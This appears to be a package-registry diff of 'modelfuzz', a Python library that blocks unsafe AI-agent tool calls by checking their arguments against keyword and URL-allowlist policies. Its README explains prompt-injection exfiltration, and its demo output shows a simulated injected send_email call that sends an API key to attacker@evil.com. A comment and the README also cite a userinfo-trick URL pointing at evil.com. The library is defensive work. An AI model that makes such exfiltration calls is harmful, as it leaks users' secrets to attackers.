modelfuzz 0.1.0__py3-none-any.whl

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
modelfuzz/__init__.py ADDED
@@ -0,0 +1,17 @@
1
+ """ModelFuzz: a lightweight shield for intercepting agent tool calls."""
2
+
3
+ from modelfuzz.decorator import shield_tool
4
+ from modelfuzz.engine import PolicyEngine, PolicyResult
5
+ from modelfuzz.exceptions import ModelFuzzBlockError
6
+ from modelfuzz.rules import SensitiveDataFilter, URLAllowList, Violation
7
+
8
+ __all__ = [
9
+ "shield_tool",
10
+ "ModelFuzzBlockError",
11
+ "SensitiveDataFilter",
12
+ "URLAllowList",
13
+ "Violation",
14
+ "PolicyEngine",
15
+ "PolicyResult",
16
+ ]
17
+ __version__ = "0.1.0"
modelfuzz/cli.py ADDED
@@ -0,0 +1,27 @@
1
+ """Command-line interface for ModelFuzz."""
2
+
3
+ import typer
4
+
5
+ from modelfuzz import __version__
6
+
7
+ app = typer.Typer(help="Runtime guardrails for AI agents.")
8
+
9
+
10
+ @app.callback()
11
+ def cli() -> None:
12
+ """Runtime guardrails for AI agents."""
13
+
14
+
15
+ @app.command()
16
+ def version() -> None:
17
+ """Print the installed ModelFuzz version."""
18
+ typer.echo(__version__)
19
+
20
+
21
+ def main() -> None:
22
+ """Entry point for the ``modelfuzz`` console script."""
23
+ app()
24
+
25
+
26
+ if __name__ == "__main__":
27
+ main()
modelfuzz/decorator.py ADDED
@@ -0,0 +1,45 @@
1
+ """Decorators for shielding agent tool functions."""
2
+
3
+ import functools
4
+ from collections.abc import Callable
5
+ from typing import ParamSpec, TypeVar
6
+
7
+ from modelfuzz.engine import PolicyEngine
8
+ from modelfuzz.exceptions import ModelFuzzBlockError
9
+ from modelfuzz.rules import SensitiveDataFilter
10
+
11
+ P = ParamSpec("P")
12
+ R = TypeVar("R")
13
+
14
+ # Default policy engine for the decorator
15
+ default_policies = [SensitiveDataFilter()]
16
+ _default_engine = PolicyEngine(default_policies)
17
+
18
+
19
+ def shield_tool(engine: PolicyEngine | None = None) -> Callable[[Callable[P, R]], Callable[P, R]]:
20
+ """Wrap a tool function so every call is intercepted before execution.
21
+
22
+ Args:
23
+ engine: The policy engine to use for validation. If None, a default
24
+ engine with a SensitiveDataFilter is used.
25
+
26
+ Returns:
27
+ A decorator that wraps the function.
28
+ """
29
+ actual_engine = engine if engine is not None else _default_engine
30
+
31
+ def decorator(func: Callable[P, R]) -> Callable[P, R]:
32
+ @functools.wraps(func)
33
+ def wrapper(*args: P.args, **kwargs: P.kwargs) -> R:
34
+ # Check all arguments against the policy engine
35
+ for arg in list(args) + list(kwargs.values()):
36
+ result = actual_engine.run(arg)
37
+ if not result.allowed:
38
+ raise ModelFuzzBlockError(result.reason or "Call blocked by policy")
39
+
40
+ print(f"ModelFuzz Intercepted: {func.__name__}")
41
+ return func(*args, **kwargs)
42
+
43
+ return wrapper
44
+
45
+ return decorator
modelfuzz/engine.py ADDED
@@ -0,0 +1,36 @@
1
+ """Policy engine for ModelFuzz."""
2
+
3
+ from collections.abc import Callable
4
+ from dataclasses import dataclass
5
+
6
+ from modelfuzz.rules import Violation
7
+
8
+
9
+ @dataclass
10
+ class PolicyResult:
11
+ """The result of a policy engine run."""
12
+
13
+ allowed: bool
14
+ reason: str | None = None
15
+
16
+
17
+ class PolicyEngine:
18
+ """Runs a list of policies against a call."""
19
+
20
+ def __init__(self, policies: list[Callable[[object], Violation | None]]) -> None:
21
+ self.policies = policies
22
+
23
+ def run(self, call: object) -> PolicyResult:
24
+ """Run all policies in order. Short-circuit on first violation.
25
+
26
+ Args:
27
+ call: The call data to check.
28
+
29
+ Returns:
30
+ A PolicyResult object indicating if the call is allowed.
31
+ """
32
+ for policy in self.policies:
33
+ violation = policy(call)
34
+ if violation:
35
+ return PolicyResult(allowed=False, reason=violation.reason)
36
+ return PolicyResult(allowed=True)
@@ -0,0 +1,7 @@
1
+ """Exceptions for ModelFuzz."""
2
+
3
+
4
+ class ModelFuzzBlockError(Exception):
5
+ """Raised when a tool call is blocked by ModelFuzz."""
6
+
7
+ pass
modelfuzz/rules.py ADDED
@@ -0,0 +1,108 @@
1
+ """Security rules for ModelFuzz."""
2
+
3
+ from dataclasses import dataclass
4
+ from urllib.parse import urlparse
5
+
6
+
7
+ @dataclass
8
+ class Violation:
9
+ """Represents a policy violation."""
10
+
11
+ rule_name: str
12
+ reason: str
13
+
14
+
15
+ class URLAllowList:
16
+ """A policy that ensures URLs are on an allowlist and blocks parsing tricks."""
17
+
18
+ def __init__(self, allowed_domains: list[str]) -> None:
19
+ self.allowed_domains = allowed_domains
20
+
21
+ def __call__(self, url: str) -> Violation | None:
22
+ """Check if a URL is allowed.
23
+
24
+ Args:
25
+ url: The URL to check.
26
+
27
+ Returns:
28
+ A Violation object if the URL is blocked, otherwise None.
29
+ """
30
+ try:
31
+ parsed = urlparse(url)
32
+ domain = parsed.netloc
33
+
34
+ # Block userinfo tricks (e.g., http://api.internal.com@evil.com)
35
+ if "@" in domain:
36
+ return Violation(
37
+ rule_name="URLAllowList",
38
+ reason=f"URL contains userinfo trick: {url}",
39
+ )
40
+
41
+ # Extract the hostname without port
42
+ hostname = domain.split(":")[0]
43
+
44
+ # Check for exact match or valid subdomain
45
+ is_allowed = any(
46
+ hostname == allowed or hostname.endswith(f".{allowed}")
47
+ for allowed in self.allowed_domains
48
+ )
49
+
50
+ if not is_allowed:
51
+ return Violation(
52
+ rule_name="URLAllowList",
53
+ reason=f"URL domain not in allowlist: {hostname}",
54
+ )
55
+
56
+ return None
57
+
58
+ except Exception:
59
+ return Violation(
60
+ rule_name="URLAllowList",
61
+ reason=f"Invalid URL: {url}",
62
+ )
63
+
64
+
65
+ class SensitiveDataFilter:
66
+ """A policy that blocks strings containing sensitive keywords."""
67
+
68
+ def __init__(self, sensitive_keywords: list[str] | None = None) -> None:
69
+ self.sensitive_keywords = (
70
+ [k.lower() for k in sensitive_keywords]
71
+ if sensitive_keywords
72
+ else ["secret", "password", "api_key"]
73
+ )
74
+
75
+ def __call__(self, data: object) -> Violation | None:
76
+ """Check if data contains sensitive keywords.
77
+
78
+ This method recurses into nested dicts, lists, and tuples.
79
+
80
+ Args:
81
+ data: The data to check.
82
+
83
+ Returns:
84
+ A Violation object if sensitive data is found, otherwise None.
85
+ """
86
+ return self._check_recursive(data)
87
+
88
+ def _check_recursive(self, data: object) -> Violation | None:
89
+ if isinstance(data, str):
90
+ lower_data = data.lower()
91
+ for keyword in self.sensitive_keywords:
92
+ if keyword in lower_data:
93
+ return Violation(
94
+ rule_name="SensitiveDataFilter",
95
+ reason=f"String contains sensitive keyword: '{keyword}'",
96
+ )
97
+ elif isinstance(data, dict):
98
+ for value in data.values():
99
+ violation = self._check_recursive(value)
100
+ if violation:
101
+ return violation
102
+ elif isinstance(data, (list, tuple)):
103
+ for item in data:
104
+ violation = self._check_recursive(item)
105
+ if violation:
106
+ return violation
107
+
108
+ return None
@@ -0,0 +1,146 @@
1
+ Metadata-Version: 2.4
2
+ Name: modelfuzz
3
+ Version: 0.1.0
4
+ Summary: Runtime guardrails for AI agents.
5
+ Project-URL: Homepage, https://github.com/higagan/modelfuzz
6
+ Project-URL: Repository, https://github.com/higagan/modelfuzz
7
+ Project-URL: Issues, https://github.com/higagan/modelfuzz/issues
8
+ Author-email: Gagan Deep <gagan.ping@gmail.com>
9
+ License: MIT
10
+ License-File: LICENSE
11
+ Keywords: ai-agents,guardrails,llm,prompt-injection,security
12
+ Classifier: Development Status :: 3 - Alpha
13
+ Classifier: Intended Audience :: Developers
14
+ Classifier: License :: OSI Approved :: MIT License
15
+ Classifier: Operating System :: OS Independent
16
+ Classifier: Programming Language :: Python :: 3
17
+ Classifier: Programming Language :: Python :: 3.10
18
+ Classifier: Programming Language :: Python :: 3.11
19
+ Classifier: Programming Language :: Python :: 3.12
20
+ Classifier: Topic :: Security
21
+ Classifier: Topic :: Software Development :: Libraries :: Python Modules
22
+ Requires-Python: >=3.10
23
+ Requires-Dist: typer>=0.12
24
+ Description-Content-Type: text/markdown
25
+
26
+ # ModelFuzz
27
+
28
+ [![CI](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml/badge.svg?branch=main)](https://github.com/higagan/modelfuzz/actions/workflows/ci.yml)
29
+ [![License: MIT](https://img.shields.io/badge/License-MIT-yellow.svg)](https://opensource.org/licenses/MIT)
30
+ [![Python 3.10+](https://img.shields.io/badge/python-3.10+-blue.svg)](https://www.python.org/downloads/)
31
+ [![Code Style: Ruff](https://img.shields.io/badge/code%20style-ruff-261230.svg)](https://github.com/astral-sh/ruff)
32
+
33
+ **Runtime guardrails for AI agents. Intercept and block unsafe tool calls caused by prompt injection.**
34
+
35
+ ---
36
+
37
+ ## The Problem
38
+
39
+ LLM agents can be manipulated through prompt injection into making unsafe tool calls — exfiltrating secrets over email, hitting attacker-controlled URLs, or executing arbitrary shell commands. Because model behavior is inherently unpredictable, prompt-level defenses alone cannot guarantee that a compromised agent won't act on malicious instructions.
40
+
41
+ ## The Solution
42
+
43
+ ModelFuzz intercepts the tool call at the **execution layer**, not the prompt layer — every argument is checked against your policies *before* the tool runs. This shifts security from "hoping the model behaves" to "guaranteeing the function is safe to execute."
44
+
45
+ ## Quickstart
46
+
47
+ ```python
48
+ from modelfuzz import shield_tool
49
+
50
+ @shield_tool()
51
+ def send_email(to_address: str, subject: str, body: str) -> None:
52
+ smtp.send(to_address, subject, body)
53
+ ```
54
+
55
+ That's it. If any argument trips a policy (by default, a `SensitiveDataFilter` that catches secrets, passwords, and API keys), the call raises `ModelFuzzBlockError` before `send_email` ever executes.
56
+
57
+ Need custom policies? Build your own engine:
58
+
59
+ ```python
60
+ from modelfuzz import PolicyEngine, SensitiveDataFilter, URLAllowList, shield_tool
61
+
62
+ engine = PolicyEngine([
63
+ SensitiveDataFilter(sensitive_keywords=["internal_token", "ssn"]),
64
+ URLAllowList(allowed_domains=["api.mycompany.com"]),
65
+ ])
66
+
67
+ @shield_tool(engine=engine)
68
+ def fetch_url(url: str) -> str:
69
+ ...
70
+ ```
71
+
72
+ ## The Demo
73
+
74
+ **What it looks like:** `demo.py` simulates a prompt-injected agent attempting data exfiltration twice — first against an unguarded tool (the attack succeeds), then against the same tool wrapped in `@shield_tool()` (the attack is blocked before execution).
75
+
76
+ Run it yourself with `uv run python demo.py`:
77
+
78
+ ```text
79
+ ============================================================
80
+ MODELFUZZ DEMO: PROMPT INJECTION DEFENSE
81
+ ============================================================
82
+
83
+
84
+ ============================================================
85
+ PART 1: THE BREACH (UNGUARDED)
86
+ ============================================================
87
+
88
+ [!] UNGUARDED AGENT: Executing tool with malicious payload...
89
+ [>] Tool Call: send_email(**{'to_address': 'attacker@evil.com', 'subject': 'Stolen Data', 'body': "The user's API_KEY is sk-12345..."})
90
+
91
+ [!] Simulating email send...
92
+ To: attacker@evil.com
93
+ Subject: Stolen Data
94
+ Body: The user's API_KEY is sk-12345...
95
+
96
+ ============================================================
97
+ 🚨 BREACH
98
+ ============================================================
99
+ Data exfiltrated to attacker@evil.com
100
+ ============================================================
101
+
102
+
103
+ ============================================================
104
+ PART 2: THE SHIELD (MODELFUZZ ACTIVE)
105
+ ============================================================
106
+
107
+ [+] GUARDED AGENT: Executing tool with malicious payload...
108
+ [>] Tool Call: send_email(**{'to_address': 'hacker@malicious.net', 'subject': 'Exfiltration', 'body': 'Secret credentials attached: password123'})
109
+
110
+ [+] ModelFuzz is intercepting the call...
111
+
112
+ [✓] ModelFuzz caught a violation:
113
+ Reason: String contains sensitive keyword: 'secret'
114
+
115
+ ============================================================
116
+ 🛡️ MODELFUZZ BLOCKED
117
+ ============================================================
118
+ Sensitive data exfiltration stopped.
119
+ ============================================================
120
+ ```
121
+
122
+ ## How It Works
123
+
124
+ - **`PolicyEngine`** — runs an ordered list of policies against every tool-call argument and short-circuits on the first violation, returning a `PolicyResult` with the block reason. Policies are plain callables (`(value) -> Violation | None`), so writing your own is a one-function job.
125
+ - **`@shield_tool` decorator** — wraps any function so every positional and keyword argument passes through the engine before the function body runs. A violation raises `ModelFuzzBlockError`; the tool never executes.
126
+ - **Default Deny** — allowlist rules like `URLAllowList` block anything not explicitly permitted: unknown domains, userinfo tricks (`http://api.internal.com@evil.com`), and unparseable URLs are all treated as violations. When in doubt, the call doesn't run.
127
+
128
+ ## Installation
129
+
130
+ ```bash
131
+ pip install modelfuzz
132
+ ```
133
+
134
+ Or with [uv](https://github.com/astral-sh/uv):
135
+
136
+ ```bash
137
+ uv add modelfuzz
138
+ ```
139
+
140
+ ## Contributing
141
+
142
+ Contributions are welcome. See [CONTRIBUTING.md](CONTRIBUTING.md) for development setup, testing, and pull-request guidelines.
143
+
144
+ ## License
145
+
146
+ MIT — see [LICENSE](LICENSE) for details.
@@ -0,0 +1,11 @@
1
+ modelfuzz/__init__.py,sha256=jicNiTSTTZlBobtmTtUMMY4CyPRAKAaCSo_roXkXvps,487
2
+ modelfuzz/cli.py,sha256=wQJjog4s2Py_geEVK0amJLJdoTUzdn83w2V7c_mqkec,484
3
+ modelfuzz/decorator.py,sha256=ScLKzGZKqvzG_zhVzPrgUfAa6JQvhjA1eufVzPCj8LA,1513
4
+ modelfuzz/engine.py,sha256=vBf6KRBhOMU5JDgjwjp0DSUhE5BwFJx21_Vk0FJsmkU,961
5
+ modelfuzz/exceptions.py,sha256=TXPtrzcezCnM8jtPh8QmPUJutGopNQuAtZnlb9AzU84,141
6
+ modelfuzz/rules.py,sha256=iuc21mqjDG5IwwSulGRoVIis-vs2QnOOS5B_Da_1xSE,3320
7
+ modelfuzz-0.1.0.dist-info/METADATA,sha256=yvmPNt5-OLGuCBymLP9rYZG-bhtZhkxLrc6LONude8E,6124
8
+ modelfuzz-0.1.0.dist-info/WHEEL,sha256=lCkmxWfQsSc9CfIClYeavTdQeEX2toPqufh9gI35EQA,87
9
+ modelfuzz-0.1.0.dist-info/entry_points.txt,sha256=g-z7ANvPY_P7coKxceYTDF0MRQTfaBi587dHS_vUvSc,49
10
+ modelfuzz-0.1.0.dist-info/licenses/LICENSE,sha256=FVwneC9rHn-shE8veEYAWY99e5-KnBKag76f_TOrs78,1067
11
+ modelfuzz-0.1.0.dist-info/RECORD,,
@@ -0,0 +1,4 @@
1
+ Wheel-Version: 1.0
2
+ Generator: hatchling 1.31.0
3
+ Root-Is-Purelib: true
4
+ Tag: py3-none-any
@@ -0,0 +1,2 @@
1
+ [console_scripts]
2
+ modelfuzz = modelfuzz.cli:main
@@ -0,0 +1,21 @@
1
+ MIT License
2
+
3
+ Copyright (c) 2026 Gagan Deep
4
+
5
+ Permission is hereby granted, free of charge, to any person obtaining a copy
6
+ of this software and associated documentation files (the "Software"), to deal
7
+ in the Software without restriction, including without limitation the rights
8
+ to use, copy, modify, merge, publish, distribute, sublicense, and/or sell
9
+ copies of the Software, and to permit persons to whom the Software is
10
+ furnished to do so, subject to the following conditions:
11
+
12
+ The above copyright notice and this permission notice shall be included in all
13
+ copies or substantial portions of the Software.
14
+
15
+ THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
16
+ IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
17
+ FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
18
+ AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
19
+ LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM,
20
+ OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE
21
+ SOFTWARE.